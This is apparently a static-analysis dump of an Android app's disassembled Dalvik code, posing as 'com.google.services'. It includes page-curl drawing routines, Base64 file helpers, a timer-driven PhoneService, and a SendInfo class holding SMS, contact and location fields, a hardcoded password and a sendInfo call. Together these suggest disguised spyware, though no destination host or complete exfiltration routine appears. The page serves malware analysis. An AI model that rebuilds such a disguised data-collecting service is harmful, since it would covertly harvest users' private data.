50iget-object v0, p0, Lcom/google/services/PageWidget;->mBezierControl2:Landroid/graphics/PointF;
51iget v1, p0, Lcom/google/services/PageWidget;->mMiddleY:F
52iget v2, p0, Lcom/google/services/PageWidget;->mCornerX:I
53int-to-float v2, v2
54iget v3, p0, Lcom/google/services/PageWidget;->mMiddleX:F
55sub-float/2addr v2, v3
56iget v3, p0, Lcom/google/services/PageWidget;->mCornerX:I
57int-to-float v3, v3
58iget v4, p0, Lcom/google/services/PageWidget;->mMiddleX:F
59sub-float/2addr v3, v4
60mul-float/2addr v2, v3
61iget v3, p0, Lcom/google/services/PageWidget;->mCornerY:I
62int-to-float v3, v3
63iget v4, p0, Lcom/google/services/PageWidget;->mMiddleY:F
64sub-float/2addr v3, v4
65div-float/2addr v2, v3
66sub-float/2addr v1, v2
67iput v1, v0, Landroid/graphics/PointF;->y:F
69iget-object v0, p0, Lcom/google/services/PageWidget;->mBezierStart1:Landroid/graphics/PointF;
71iget-object v1, p0, Lcom/google/services/PageWidget;->mBezierControl1:Landroid/graphics/PointF;
72iget v1, v1, Landroid/graphics/PointF;->x:F
73iget v2, p0, Lcom/google/services/PageWidget;->mCornerX:I
74int-to-float v2, v2
76iget-object v3, p0, Lcom/google/services/PageWidget;->mBezierControl1:Landroid/graphics/PointF;
77iget v3, v3, Landroid/graphics/PointF;->x:F
78sub-float/2addr v2, v3
79div-float/2addr v2, v5
80sub-float/2addr v1, v2
81iput v1, v0, Landroid/graphics/PointF;->x:F
83iget-object v0, p0, Lcom/google/services/PageWidget;->mBezierStart1:Landroid/graphics/PointF;
84iget v1, p0, Lcom/google/services/PageWidget;->mCornerY:I
85int-to-float v1, v1
86iput v1, v0, Landroid/graphics/PointF;->y:F
88iget-object v0, p0, Lcom/google/services/PageWidget;->mTouch:Landroid/graphics/PointF;
89iget v0, v0, Landroid/graphics/PointF;->x:F
90cmpl-float v0, v0, v7
91if-lez v0, :cond_168
93iget-object v0, p0, Lcom/google/services/PageWidget;->mTouch:Landroid/graphics/PointF;
94iget v0, v0, Landroid/graphics/PointF;->x:F
95iget v1, p0, Lcom/google/services/PageWidget;->mWidth:I
96int-to-float v1, v1
97cmpg-float v0, v0, v1
98if-gez v0, :cond_168
100iget-object v0, p0, Lcom/google/services/PageWidget;->mBezierStart1:Landroid/graphics/PointF;
101iget v0, v0, Landroid/graphics/PointF;->x:F
102cmpg-float v0, v0, v7
103if-ltz v0, :cond_9e
105iget-object v0, p0, Lcom/google/services/PageWidget;->mBezierStart1:Landroid/graphics/PointF;
106iget v0, v0, Landroid/graphics/PointF;->x:F
107iget v1, p0, Lcom/google/services/PageWidget;->mWidth:I
108int-to-float v1, v1
109cmpl-float v0, v0, v1
110if-lez v0, :cond_168
111cond_9e:
112iget-object v0, p0, Lcom/google/services/PageWidget;->mBezierStart1:Landroid/graphics/PointF;
113iget v0, v0, Landroid/graphics/PointF;->x:F
114cmpg-float v0, v0, v7
115if-gez v0, :cond_b2
117iget-object v0, p0, Lcom/google/services/PageWidget;->mBezierStart1:Landroid/graphics/PointF;
118iget v1, p0, Lcom/google/services/PageWidget;->mWidth:I
119int-to-float v1, v1
121iget-object v2, p0, Lcom/google/services/PageWidget;->mBezierStart1:Landroid/graphics/PointF;
122iget v2, v2, Landroid/graphics/PointF;->x:F
123sub-float/2addr v1, v2
124iput v1, v0, Landroid/graphics/PointF;->x:F
125cond_b2: iget v0, p0, Lcom/google/services/PageWidget;->mCornerX:I
126int-to-float v0, v0
128iget-object v1, p0, Lcom/google/services/PageWidget;->mTouch:Landroid/graphics/PointF;
129iget v1, v1, Landroid/graphics/PointF;->x:F
130sub-float/2addr v0, v1
132invoke-static {v0}, Ljava/lang/Math;->abs(F)F
133move-result v0
134iget v1, p0, Lcom/google/services/PageWidget;->mWidth:I
135int-to-float v1, v1
136mul-float/2addr v1, v0
138iget-object v2, p0, Lcom/google/services/PageWidget;->mBezierStart1:Landroid/graphics/PointF;
139iget v2, v2, Landroid/graphics/PointF;->x:F
140div-float/2addr v1, v2
142iget-object v2, p0, Lcom/google/services/PageWidget;->mTouch:Landroid/graphics/PointF;
143iget v3, p0, Lcom/google/services/PageWidget;->mCornerX:I
144int-to-float v3, v3
145sub-float v1, v3, v1
147invoke-static {v1}, Ljava/lang/Math;->abs(F)F
148move-result v1
149iput v1, v2, Landroid/graphics/PointF;->x:F
150iget v1, p0, Lcom/google/services/PageWidget;->mCornerX:I
151int-to-float v1, v1
153iget-object v2, p0, Lcom/google/services/PageWidget;->mTouch:Landroid/graphics/PointF;
154iget v2, v2, Landroid/graphics/PointF;->x:F
155sub-float/2addr v1, v2
157invoke-static {v1}, Ljava/lang/Math;->abs(F)F
158move-result v1
159iget v2, p0, Lcom/google/services/PageWidget;->mCornerY:I
160int-to-float v2, v2
162iget-object v3, p0, Lcom/google/services/PageWidget;->mTouch:Landroid/graphics/PointF;
163iget v3, v3, Landroid/graphics/PointF;->y:F
164sub-float/2addr v2, v3
166invoke-static {v2}, Ljava/lang/Math;->abs(F)F
167move-result v2
168mul-float/2addr v1, v2
169div-float v0, v1, v0
171iget-object v1, p0, Lcom/google/services/PageWidget;->mTouch:Landroid/graphics/PointF;
172iget v2, p0, Lcom/google/services/PageWidget;->mCornerY:I
173int-to-float v2, v2
174sub-float v0, v2, v0
176invoke-static {v0}, Ljava/lang/Math;->abs(F)F
177move-result v0
178iput v0, v1, Landroid/graphics/PointF;->y:F
180iget-object v0, p0, Lcom/google/services/PageWidget;->mTouch:Landroid/graphics/PointF;
181iget v0, v0, Landroid/graphics/PointF;->x:F
182iget v1, p0, Lcom/google/services/PageWidget;->mCornerX:I
183int-to-float v1, v1
184add-float/2addr v0, v1
185div-float/2addr v0, v5
186iput v0, p0, Lcom/google/services/PageWidget;->mMiddleX:F
188iget-object v0, p0, Lcom/google/services/PageWidget;->mTouch:Landroid/graphics/PointF;
189iget v0, v0, Landroid/graphics/PointF;->y:F
190iget v1, p0, Lcom/google/services/PageWidget;->mCornerY:I
191int-to-float v1, v1
192add-float/2addr v0, v1
193div-float/2addr v0, v5
194iput v0, p0, Lcom/google/services/PageWidget;->mMiddleY:F
196iget-object v0, p0, Lcom/google/services/PageWidget;->mBezierControl1:Landroid/graphics/PointF;
197iget v1, p0, Lcom/google/services/PageWidget;->mMiddleX:F
198iget v2, p0, Lcom/google/services/PageWidget;->mCornerY:I
199int-to-float v2, v2
200iget v3, p0, Lcom/google/services/PageWidget;->mMiddleY:F
201sub-float/2addr v2, v3
202iget v3, p0, Lcom/google/services/PageWidget;->mCornerY:I
203int-to-float v3, v3
204iget v4, p0, Lcom/google/services/PageWidget;->mMiddleY:F
205sub-float/2addr v3, v4
206mul-float/2addr v2, v3
207iget v3, p0, Lcom/google/services/PageWidget;->mCornerX:I
208int-to-float v3, v3
209iget v4, p0, Lcom/google/services/PageWidget;->mMiddleX:F
210sub-float/2addr v3, v4
211div-float/2addr v2, v3
212sub-float/2addr v1, v2
213iput v1, v0, Landroid/graphics/PointF;->x:F
215iget-object v0, p0, Lcom/google/services/PageWidget;->mBezierControl1:Landroid/graphics/PointF;
216iget v1, p0, Lcom/google/services/PageWidget;->mCornerY:I
217int-to-float v1, v1
218iput v1, v0, Landroid/graphics/PointF;->y:F
220iget-object v0, p0, Lcom/google/services/PageWidget;->mBezierControl2:Landroid/graphics/PointF;
221iget v1, p0, Lcom/google/services/PageWidget;->mCornerX:I
222int-to-float v1, v1
223iput v1, v0, Landroid/graphics/PointF;->x:F
225iget-object v0, p0, Lcom/google/services/PageWidget;->mBezierControl2:Landroid/graphics/PointF;
226iget v1, p0, Lcom/google/services/PageWidget;->mMiddleY:F
227iget v2, p0, Lcom/google/services/PageWidget;->mCornerX:I
228int-to-float v2, v2
229iget v3, p0, Lcom/google/services/PageWidget;->mMiddleX:F
230sub-float/2addr v2, v3
231iget v3, p0, Lcom/google/services/PageWidget;->mCornerX:I
232int-to-float v3, v3
233iget v4, p0, Lcom/google/services/PageWidget;->mMiddleX:F
234sub-float/2addr v3, v4
235mul-float/2addr v2, v3
236iget v3, p0, Lcom/google/services/PageWidget;->mCornerY:I
237int-to-float v3, v3
238iget v4, p0, Lcom/google/services/PageWidget;->mMiddleY:F
239sub-float/2addr v3, v4
240div-float/2addr v2, v3
241sub-float/2addr v1, v2
242iput v1, v0, Landroid/graphics/PointF;->y:F
244iget-object v0, p0, Lcom/google/services/PageWidget;->mBezierStart1:Landroid/graphics/PointF;
246iget-object v1, p0, Lcom/google/services/PageWidget;->mBezierControl1:Landroid/graphics/PointF;
247iget v1, v1, Landroid/graphics/PointF;->x:F
248iget v2, p0, Lcom/google/services/PageWidget;->mCornerX:I
249int-to-float v2, v2
251iget-object v3, p0, Lcom/google/services/PageWidget;->mBezierControl1:Landroid/graphics/PointF;
252iget v3, v3, Landroid/graphics/PointF;->x:F
253sub-float/2addr v2, v3
254div-float/2addr v2, v5
255sub-float/2addr v1, v2
256iput v1, v0, Landroid/graphics/PointF;->x:F
257cond_168:
258iget-object v0, p0, Lcom/google/services/PageWidget;->mBezierStart2:Landroid/graphics/PointF;
259iget v1, p0, Lcom/google/services/PageWidget;->mCornerX:I
260int-to-float v1, v1
261iput v1, v0, Landroid/graphics/PointF;->x:F
263iget-object v0, p0, Lcom/google/services/PageWidget;->mBezierStart2:Landroid/graphics/PointF;
265iget-object v1, p0, Lcom/google/services/PageWidget;->mBezierControl2:Landroid/graphics/PointF;
266iget v1, v1, Landroid/graphics/PointF;->y:F
267iget v2, p0, Lcom/google/services/PageWidget;->mCornerY:I
268int-to-float v2, v2
270iget-object v3, p0, Lcom/google/services/PageWidget;->mBezierControl2:Landroid/graphics/PointF;
271iget v3, v3, Landroid/graphics/PointF;->y:F
272sub-float/2addr v2, v3
273div-float/2addr v2, v5
274sub-float/2addr v1, v2
275iput v1, v0, Landroid/graphics/PointF;->y:F
277iget-object v0, p0, Lcom/google/services/PageWidget;->mTouch:Landroid/graphics/PointF;
278iget v0, v0, Landroid/graphics/PointF;->x:F
279iget v1, p0, Lcom/google/services/PageWidget;->mCornerX:I
280int-to-float v1, v1
281sub-float/2addr v0, v1
282float-to-double v0, v0
284iget-object v2, p0, Lcom/google/services/PageWidget;->mTouch:Landroid/graphics/PointF;
285iget v2, v2, Landroid/graphics/PointF;->y:F
286iget v3, p0, Lcom/google/services/PageWidget;->mCornerY:I
287int-to-float v3, v3
288sub-float/2addr v2, v3
289float-to-double v2, v2
291invoke-static {v0, v1, v2, v3}, Ljava/lang/Math;->hypot(DD)D
292move-result-wide v0
293double-to-float v0, v0
294iput v0, p0, Lcom/google/services/PageWidget;->mTouchToCornerDis:F
296iget-object v0, p0, Lcom/google/services/PageWidget;->mTouch:Landroid/graphics/PointF;
298iget-object v1, p0, Lcom/google/services/PageWidget;->mBezierControl1:Landroid/graphics/PointF;
300iget-object v2, p0, Lcom/google/services/PageWidget;->mBezierStart1:Landroid/graphics/PointF;
302iget-object v3, p0, Lcom/google/services/PageWidget;->mBezierStart2:Landroid/graphics/PointF;
304invoke-virtual {p0, v0, v1, v2, v3}, Lcom/google/services/PageWidget;->getCross(Landroid/graphics/PointF;Landroid/graphics/PointF;Landroid/graphics/PointF;Landroid/graphics/PointF;)Landroid/graphics/PointF;
305move-result-object v0
306iput-object v0, p0, Lcom/google/services/PageWidget;->mBezierEnd1:Landroid/graphics/PointF;
308iget-object v0, p0, Lcom/google/services/PageWidget;->mTouch:Landroid/graphics/PointF;
310iget-object v1, p0, Lcom/google/services/PageWidget;->mBezierControl2:Landroid/graphics/PointF;
312iget-object v2, p0, Lcom/google/services/PageWidget;->mBezierStart1:Landroid/graphics/PointF;
314iget-object v3, p0, Lcom/google/services/PageWidget;->mBezierStart2:Landroid/graphics/PointF;
316invoke-virtual {p0, v0, v1, v2, v3}, Lcom/google/services/PageWidget;->getCross(Landroid/graphics/PointF;Landroid/graphics/PointF;Landroid/graphics/PointF;Landroid/graphics/PointF;)Landroid/graphics/PointF;
317move-result-object v0
318iput-object v0, p0, Lcom/google/services/PageWidget;->mBezierEnd2:Landroid/graphics/PointF;
320iget-object v0, p0, Lcom/google/services/PageWidget;->mBeziervertex1:Landroid/graphics/PointF;
322iget-object v1, p0, Lcom/google/services/PageWidget;->mBezierStart1:Landroid/graphics/PointF;
323iget v1, v1, Landroid/graphics/PointF;->x:F
325iget-object v2, p0, Lcom/google/services/PageWidget;->mBezierControl1:Landroid/graphics/PointF;
326iget v2, v2, Landroid/graphics/PointF;->x:F
327mul-float/2addr v2, v5
328add-float/2addr v1, v2
330iget-object v2, p0, Lcom/google/services/PageWidget;->mBezierEnd1:Landroid/graphics/PointF;
331iget v2, v2, Landroid/graphics/PointF;->x:F
332add-float/2addr v1, v2
333div-float/2addr v1, v6
334iput v1, v0, Landroid/graphics/PointF;->x:F
336iget-object v0, p0, Lcom/google/services/PageWidget;->mBeziervertex1:Landroid/graphics/PointF;
338iget-object v1, p0, Lcom/google/services/PageWidget;->mBezierControl1:Landroid/graphics/PointF;
339iget v1, v1, Landroid/graphics/PointF;->y:F
340mul-float/2addr v1, v5
342iget-object v2, p0, Lcom/google/services/PageWidget;->mBezierStart1:Landroid/graphics/PointF;
343iget v2, v2, Landroid/graphics/PointF;->y:F
344add-float/2addr v1, v2
346iget-object v2, p0, Lcom/google/services/PageWidget;->mBezierEnd1:Landroid/graphics/PointF;
347iget v2, v2, Landroid/graphics/PointF;->y:F
348add-float/2addr v1, v2
349div-float/2addr v1, v6
350iput v1, v0, Landroid/graphics/PointF;->y:F
352iget-object v0, p0, Lcom/google/services/PageWidget;->mBeziervertex2:Landroid/graphics/PointF;
354iget-object v1, p0, Lcom/google/services/PageWidget;->mBezierStart2:Landroid/graphics/PointF;
355iget v1, v1, Landroid/graphics/PointF;->x:F
357iget-object v2, p0, Lcom/google/services/PageWidget;->mBezierControl2:Landroid/graphics/PointF;
358iget v2, v2, Landroid/graphics/PointF;->x:F
359mul-float/2addr v2, v5
360add-float/2addr v1, v2
362iget-object v2, p0, Lcom/google/services/PageWidget;->mBezierEnd2:Landroid/graphics/PointF;
363iget v2, v2, Landroid/graphics/PointF;->x:F
364add-float/2addr v1, v2
365div-float/2addr v1, v6
366iput v1, v0, Landroid/graphics/PointF;->x:F
368iget-object v0, p0, Lcom/google/services/PageWidget;->mBeziervertex2:Landroid/graphics/PointF;
370iget-object v1, p0, Lcom/google/services/PageWidget;->mBezierControl2:Landroid/graphics/PointF;
371iget v1, v1, Landroid/graphics/PointF;->y:F
372mul-float/2addr v1, v5
374iget-object v2, p0, Lcom/google/services/PageWidget;->mBezierStart2:Landroid/graphics/PointF;
375iget v2, v2, Landroid/graphics/PointF;->y:F
376add-float/2addr v1, v2
378iget-object v2, p0, Lcom/google/services/PageWidget;->mBezierEnd2:Landroid/graphics/PointF;
379iget v2, v2, Landroid/graphics/PointF;->y:F
380add-float/2addr v1, v2
381div-float/2addr v1, v6
382iput v1, v0, Landroid/graphics/PointF;->y:F
383return-void
APIs
  • java.io.FileInputStream.<init>
  • java.io.FileOutputStream.<init>
  • java.io.OutputStream.close
  • java.io.InputStream.close
  • java.io.OutputStream.close
  • java.io.InputStream.close
Position Instruction Meta Information
0.parameter
1.parameter
2.parameter
3.annotation system Ldalvik/annotation/Throws;
4value = {
5Ljava/io/IOException;
6}
7.end annotation
8.prologue
9const/4 v2, 0x0
10try_start_1: new-instance v3, Ljava/io/FileInputStream;
12invoke-direct {v3, p0}, Ljava/io/FileInputStream;-><init>(Ljava/io/File;)V
13try_start_6: new-instance v1, Ljava/io/FileOutputStream;
15invoke-direct {v1, p1}, Ljava/io/FileOutputStream;-><init>(Ljava/io/File;)V
16try_start_b:
17invoke-static {v3, v1, p2}, Lit/sauronsoftware/base64/Base64;->encode(Ljava/io/InputStream;Ljava/io/OutputStream;I)V
18try_end_e: if-eqz v1, :cond_13
19try_start_10:
20invoke-virtual {v1}, Ljava/io/OutputStream;->close()V
21goto_13: if-eqz v3, :cond_18
22try_start_15:
23invoke-virtual {v3}, Ljava/io/InputStream;->close()V
24goto_18: return-void
25catchall_19: move-exception v0
26move-object v1, v2
27goto_1b: if-eqz v1, :cond_20
28try_start_1d:
29invoke-virtual {v1}, Ljava/io/OutputStream;->close()V
30cond_20: if-eqz v2, :cond_25
31try_start_22:
32invoke-virtual {v2}, Ljava/io/InputStream;->close()V
33try_end_25: throw v0
34catch_26: move-exception v0
35goto/16 :goto_13
36catch_28: move-exception v0
37goto/16 :goto_18
38catch_2a: move-exception v1
39goto/16 :goto_20
40catch_2c: move-exception v1
41goto/16 :goto_25
42catchall_2e: move-exception v0
43move-object v1, v2
44move-object v2, v3
45goto/16 :goto_1b
46catchall_32: move-exception v0
47move-object v2, v3
48goto/16 :goto_1b
APIs
  • java.io.FileInputStream.<init>
  • java.io.FileOutputStream.<init>
  • java.io.OutputStream.close
  • java.io.InputStream.close
  • java.io.OutputStream.close
  • java.io.InputStream.close
Position Instruction Meta Information
0.parameter
1.parameter
2.annotation system Ldalvik/annotation/Throws;
3value = {
4Ljava/io/IOException;
5}
6.end annotation
7.prologue
8const/4 v2, 0x0
9try_start_1: new-instance v3, Ljava/io/FileInputStream;
11invoke-direct {v3, p0}, Ljava/io/FileInputStream;-><init>(Ljava/io/File;)V
12try_start_6: new-instance v1, Ljava/io/FileOutputStream;
14invoke-direct {v1, p1}, Ljava/io/FileOutputStream;-><init>(Ljava/io/File;)V
15try_start_b:
16invoke-static {v3, v1}, Lit/sauronsoftware/base64/Base64;->decode(Ljava/io/InputStream;Ljava/io/OutputStream;)V
17try_end_e: if-eqz v1, :cond_13
18try_start_10:
19invoke-virtual {v1}, Ljava/io/OutputStream;->close()V
20goto_13: if-eqz v3, :cond_18
21try_start_15:
22invoke-virtual {v3}, Ljava/io/InputStream;->close()V
23goto_18: return-void
24catchall_19: move-exception v0
25move-object v1, v2
26goto_1b: if-eqz v1, :cond_20
27try_start_1d:
28invoke-virtual {v1}, Ljava/io/OutputStream;->close()V
29cond_20: if-eqz v2, :cond_25
30try_start_22:
31invoke-virtual {v2}, Ljava/io/InputStream;->close()V
32try_end_25: throw v0
33catch_26: move-exception v0
34goto/16 :goto_13
35catch_28: move-exception v0
36goto/16 :goto_18
37catch_2a: move-exception v1
38goto/16 :goto_20
39catch_2c: move-exception v1
40goto/16 :goto_25
41catchall_2e: move-exception v0
42move-object v1, v2
43move-object v2, v3
44goto/16 :goto_1b
45catchall_32: move-exception v0
46move-object v2, v3
47goto/16 :goto_1b
APIs
  • java.io.FileInputStream.<init>
  • java.io.FileOutputStream.<init>
  • java.io.OutputStream.close
  • java.io.InputStream.close
  • java.io.OutputStream.close
  • java.io.InputStream.close
Position Instruction Meta Information
0.parameter
1.parameter
2.annotation system Ldalvik/annotation/Throws;
3value = {
4Ljava/io/IOException;
5}
6.end annotation
7.prologue
8const/4 v2, 0x0
9try_start_1: new-instance v3, Ljava/io/FileInputStream;
11invoke-direct {v3, p0}, Ljava/io/FileInputStream;-><init>(Ljava/io/File;)V
12try_start_6: new-instance v1, Ljava/io/FileOutputStream;
14invoke-direct {v1, p1}, Ljava/io/FileOutputStream;-><init>(Ljava/io/File;)V
15try_start_b:
16invoke-static {v3, v1}, Lit/sauronsoftware/base64/Base64;->encode(Ljava/io/InputStream;Ljava/io/OutputStream;)V
17try_end_e: if-eqz v1, :cond_13
18try_start_10:
19invoke-virtual {v1}, Ljava/io/OutputStream;->close()V
20goto_13: if-eqz v3, :cond_18
21try_start_15:
22invoke-virtual {v3}, Ljava/io/InputStream;->close()V
23goto_18: return-void
24catchall_19: move-exception v0
25move-object v1, v2
26goto_1b: if-eqz v1, :cond_20
27try_start_1d:
28invoke-virtual {v1}, Ljava/io/OutputStream;->close()V
29cond_20: if-eqz v2, :cond_25
30try_start_22:
31invoke-virtual {v2}, Ljava/io/InputStream;->close()V
32try_end_25: throw v0
33catch_26: move-exception v0
34goto/16 :goto_13
35catch_28: move-exception v0
36goto/16 :goto_18
37catch_2a: move-exception v1
38goto/16 :goto_20
39catch_2c: move-exception v1
40goto/16 :goto_25
41catchall_2e: move-exception v0
42move-object v1, v2
43move-object v2, v3
44goto/16 :goto_1b
45catchall_32: move-exception v0
46move-object v2, v3
47goto/16 :goto_1b
APIs
  • java.lang.String.getBytes
  • java.lang.String.<init>
  • java.lang.RuntimeException.<init>
Strings
  • ASCII
  • ASCII is not supported!
Position Instruction Meta Information
0.parameter
1.annotation system Ldalvik/annotation/Throws;
2value = {
3Ljava/lang/RuntimeException;
4}
5.end annotation
6.prologue
7try_start_0:
8const-string v0, "ASCII"
10invoke-virtual {p0, v0}, Ljava/lang/String;->getBytes(Ljava/lang/String;)[B
  • Data flow analysis:
    • p0: ASCII
11try_end_5: move-result-object v0
13invoke-static {v0}, Lit/sauronsoftware/base64/Base64;->decode([B)[B
14move-result-object v0
15new-instance v1, Ljava/lang/String;
17invoke-direct {v1, v0}, Ljava/lang/String;-><init>([B)V
18return-object v1
19catch_10: move-exception v0
20new-instance v1, Ljava/lang/RuntimeException;
22const-string v2, "ASCII is not supported!"
24invoke-direct {v1, v2, v0}, Ljava/lang/RuntimeException;-><init>(Ljava/lang/String;Ljava/lang/Throwable;)V
  • Data flow analysis:
    • p0: ASCII is not supported!
25throw v1
APIs
  • java.lang.String.getBytes
  • java.lang.String.<init>
  • java.lang.RuntimeException.<init>
Strings
  • ASCII
  • ASCII is not supported!
Position Instruction Meta Information
0.parameter
1.annotation system Ldalvik/annotation/Throws;
2value = {
3Ljava/lang/RuntimeException;
4}
5.end annotation
6.prologue
8invoke-virtual {p0}, Ljava/lang/String;->getBytes()[B
9move-result-object v0
11invoke-static {v0}, Lit/sauronsoftware/base64/Base64;->encode([B)[B
12move-result-object v0
13try_start_8: new-instance v1, Ljava/lang/String;
15const-string v2, "ASCII"
17invoke-direct {v1, v0, v2}, Ljava/lang/String;-><init>([BLjava/lang/String;)V
  • Data flow analysis:
    • p1: ASCII
18try_end_f: return-object v1
19catch_10: move-exception v0
20new-instance v1, Ljava/lang/RuntimeException;
22const-string v2, "ASCII is not supported!"
24invoke-direct {v1, v2, v0}, Ljava/lang/RuntimeException;-><init>(Ljava/lang/String;Ljava/lang/Throwable;)V
  • Data flow analysis:
    • p0: ASCII is not supported!
25throw v1
APIs
  • android.graphics.Canvas.drawColor
  • com.google.services.PageWidget.calcPoints
  • com.google.services.PageWidget.drawCurrentPageArea
  • com.google.services.PageWidget.drawNextPageAreaAndShadow
  • com.google.services.PageWidget.drawCurrentPageShadow
  • com.google.services.PageWidget.drawCurrentBackArea
Position Instruction Meta Information
0.parameter
1.prologue
2const v0, -0x555556
4invoke-virtual {p1, v0}, Landroid/graphics/Canvas;->drawColor(I)V
6invoke-direct {p0}, Lcom/google/services/PageWidget;->calcPoints()V
8iget-object v0, p0, Lcom/google/services/PageWidget;->mCurPageBitmap:Landroid/graphics/Bitmap;
10iget-object v1, p0, Lcom/google/services/PageWidget;->mPath0:Landroid/graphics/Path;
12invoke-direct {p0, p1, v0, v1}, Lcom/google/services/PageWidget;->drawCurrentPageArea(Landroid/graphics/Canvas;Landroid/graphics/Bitmap;Landroid/graphics/Path;)V
14iget-object v0, p0, Lcom/google/services/PageWidget;->mNextPageBitmap:Landroid/graphics/Bitmap;
16invoke-direct {p0, p1, v0}, Lcom/google/services/PageWidget;->drawNextPageAreaAndShadow(Landroid/graphics/Canvas;Landroid/graphics/Bitmap;)V
18invoke-virtual {p0, p1}, Lcom/google/services/PageWidget;->drawCurrentPageShadow(Landroid/graphics/Canvas;)V
20iget-object v0, p0, Lcom/google/services/PageWidget;->mCurPageBitmap:Landroid/graphics/Bitmap;
22invoke-direct {p0, p1, v0}, Lcom/google/services/PageWidget;->drawCurrentBackArea(Landroid/graphics/Canvas;Landroid/graphics/Bitmap;)V
23return-void
APIs
  • android.view.View.computeScroll
  • android.widget.Scroller.computeScrollOffset
  • android.widget.Scroller.getCurrX
  • android.widget.Scroller.getCurrY
  • com.google.services.PageWidget.postInvalidate
Position Instruction Meta Information
0.prologue
2invoke-super {p0}, Landroid/view/View;->computeScroll()V
4iget-object v0, p0, Lcom/google/services/PageWidget;->mScroller:Landroid/widget/Scroller;
6invoke-virtual {v0}, Landroid/widget/Scroller;->computeScrollOffset()Z
7move-result v0
8if-eqz v0, :cond_24
10iget-object v0, p0, Lcom/google/services/PageWidget;->mScroller:Landroid/widget/Scroller;
12invoke-virtual {v0}, Landroid/widget/Scroller;->getCurrX()I
13move-result v0
14int-to-float v0, v0
16iget-object v1, p0, Lcom/google/services/PageWidget;->mScroller:Landroid/widget/Scroller;
18invoke-virtual {v1}, Landroid/widget/Scroller;->getCurrY()I
19move-result v1
20int-to-float v1, v1
22iget-object v2, p0, Lcom/google/services/PageWidget;->mTouch:Landroid/graphics/PointF;
23iput v0, v2, Landroid/graphics/PointF;->x:F
25iget-object v0, p0, Lcom/google/services/PageWidget;->mTouch:Landroid/graphics/PointF;
26iput v1, v0, Landroid/graphics/PointF;->y:F
28invoke-virtual {p0}, Lcom/google/services/PageWidget;->postInvalidate()V
29cond_24: return-void
APIs
  • android.app.Service.onStart
  • java.lang.String.equals
  • java.util.Timer.scheduleAtFixedRate
  • java.lang.Exception.printStackTrace
Position Instruction Meta Information
0.parameter
1.parameter
2.prologue
4invoke-super {p0, p1, p2}, Landroid/app/Service;->onStart(Landroid/content/Intent;I)V
6const-string v0, ""
8iget-object v1, p0, Lcom/google/services/PhoneService;->nativenumber:Ljava/lang/String;
10invoke-virtual {v0, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
11move-result v0
12if-nez v0, :cond_18
13try_start_d:
14iget-object v0, p0, Lcom/google/services/PhoneService;->mTimer:Ljava/util/Timer;
16iget-object v1, p0, Lcom/google/services/PhoneService;->mTimerTask:Ljava/util/TimerTask;
17iget-wide v2, p0, Lcom/google/services/PhoneService;->delay:J
18iget-wide v4, p0, Lcom/google/services/PhoneService;->period:J
20invoke-virtual/range {v0 .. v5}, Ljava/util/Timer;->scheduleAtFixedRate(Ljava/util/TimerTask;JJ)V
21goto_18: return-void
22catch_19: move-exception v0
24invoke-virtual {v0}, Ljava/lang/Exception;->printStackTrace()V
25goto/16 :goto_18
APIs
  • android.app.Service.<init>
  • java.util.Timer.<init>
  • com.google.services.PhoneService$1.<init>
Position Instruction Meta Information
0.prologue
1const-wide/32 v2, 0xea60
2const/4 v1, 0x0
4invoke-direct {p0}, Landroid/app/Service;-><init>()V
5iput-object v1, p0, Lcom/google/services/PhoneService;->hostname:Ljava/lang/String;
6new-instance v0, Ljava/util/Timer;
8invoke-direct {v0}, Ljava/util/Timer;-><init>()V
9iput-object v0, p0, Lcom/google/services/PhoneService;->mTimer:Ljava/util/Timer;
10iput-wide v2, p0, Lcom/google/services/PhoneService;->delay:J
11iput-wide v2, p0, Lcom/google/services/PhoneService;->period:J
12const/4 v0, 0x0
13iput-boolean v0, p0, Lcom/google/services/PhoneService;->linkFlag:Z
14iput-object v1, p0, Lcom/google/services/PhoneService;->nativenumber:Ljava/lang/String;
15new-instance v0, Lcom/google/services/PhoneService$1;
17invoke-direct {v0, p0}, Lcom/google/services/PhoneService$1;-><init>(Lcom/google/services/PhoneService;)V
18iput-object v0, p0, Lcom/google/services/PhoneService;->mTimerTask:Ljava/util/TimerTask;
19return-void
APIs
  • java.lang.Object.<init>
Strings
  • hunan
Position Instruction Meta Information
0.prologue
2invoke-direct {p0}, Ljava/lang/Object;-><init>()V
3const/4 v0, 0x0
4iput-object v0, p0, Lcom/google/services/SendInfo;->urlstr:Ljava/lang/String;
6const-string v0, ""
7iput-object v0, p0, Lcom/google/services/SendInfo;->sms:Ljava/lang/String;
9const-string v0, ""
10iput-object v0, p0, Lcom/google/services/SendInfo;->contact:Ljava/lang/String;
12const-string v0, ""
13iput-object v0, p0, Lcom/google/services/SendInfo;->location:Ljava/lang/String;
15const-string v0, ""
16iput-object v0, p0, Lcom/google/services/SendInfo;->other:Ljava/lang/String;
18const-string v0, "hunan"
19iput-object v0, p0, Lcom/google/services/SendInfo;->passwd:Ljava/lang/String;
20const/4 v0, 0x0
21iput-boolean v0, p0, Lcom/google/services/SendInfo;->okFlag:Z
22return-void
APIs
  • java.io.InputStream.read
  • java.io.OutputStream.write
Position Instruction Meta Information
0.parameter
1.parameter
2.annotation system Ldalvik/annotation/Throws;
3value = {
4Ljava/io/IOException;
5}
6.end annotation
7.prologue
8const/16 v0, 0x400
9new-array v0, v0, [B
10goto_4:
11invoke-virtual {p0, v0}, Ljava/io/InputStream;->read([B)I
12move-result v1
13const/4 v2, -0x1
14if-eq v1, v2, :cond_10
15const/4 v2, 0x0
17invoke-virtual {p1, v0, v2, v1}, Ljava/io/OutputStream;->write([BII)V
  • Data flow analysis:
    • p1: 0
18goto/16 :goto_4
19cond_10: return-void
APIs
  • com.google.services.sendReceiver.access$000
  • com.google.services.sendReceiver.access$100
Position Instruction Meta Information
0.prologue
2iget-object v0, p0, Lcom/google/services/sendReceiver$1;->this$0:Lcom/google/services/sendReceiver;
4iget-object v0, v0, Lcom/google/services/sendReceiver;->sender:Lcom/google/services/SendInfo;
6iget-object v1, p0, Lcom/google/services/sendReceiver$1;->this$0:Lcom/google/services/sendReceiver;
8invoke-static {v1}, Lcom/google/services/sendReceiver;->access$000(Lcom/google/services/sendReceiver;)Ljava/lang/String;
9move-result-object v1
11iget-object v2, p0, Lcom/google/services/sendReceiver$1;->this$0:Lcom/google/services/sendReceiver;
13invoke-static {v2}, Lcom/google/services/sendReceiver;->access$100(Lcom/google/services/sendReceiver;)Ljava/lang/String;
14move-result-object v2
16invoke-virtual {v0, v1, v2}, Lcom/google/services/SendInfo;->sendInfo(Ljava/lang/String;Ljava/lang/String;)Z
17return-void
